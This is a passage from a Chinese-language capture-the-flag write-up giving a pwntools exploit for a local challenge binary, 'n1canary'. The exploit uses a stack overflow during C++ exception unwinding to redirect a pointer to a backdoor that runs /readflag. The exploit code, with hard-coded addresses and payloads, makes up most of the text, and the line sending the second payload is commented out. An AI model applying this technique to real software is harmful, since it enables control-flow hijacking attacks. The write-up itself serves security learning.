最終的 exp 如下,還有一點要注意的是,中途覆蓋到的函式返回地址是不能亂填的,具體原因詳見 “0x00 前置知識” 處,與 unwind()
函式里的檢測有關,所以 ret 填回原來的 0x403407
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
pwnfile = './n1canary'
p = process(pwnfile)
def debug(content=None):
if content is None:
gdb.attach(p)
pause()
else:
gdb.attach(p, content)
pause()
def exp():
# debug('b *0x403547')
# b *0x40340D # Destructor
# b *0x403909 # pointer call
# b *0x403291 # raise->throw
# b *0x403432 # <main+146> call std::unique_ptr<BOFApp, std::default_delete<BOFApp> >::~unique_ptr()
# b *0x4038fc
backdoor = 0x403387
user_canary = 0x4F4AA0
payload = p64(user_canary+8) + p64(backdoor)*2
payload = payload.ljust(0x40, 'a')
p.sendafter('canary\n', payload)
payload = 'a'*(0x70-0x8)
payload += p64(0x403407) # ret
# payload += 'a'*(0x8)
payload += p64(user_canary) # BOFApp *v6
# p.sendlineafter(' to pwn :)\n', payload)
exp()
p.interactive()
後門命令執行了 /readflag
參考
溢位漏洞在異常處理中的攻擊利用手法-上
溢位漏洞在異常處理中的攻擊利用手法-下
C++異常機制的實現方式和開銷分析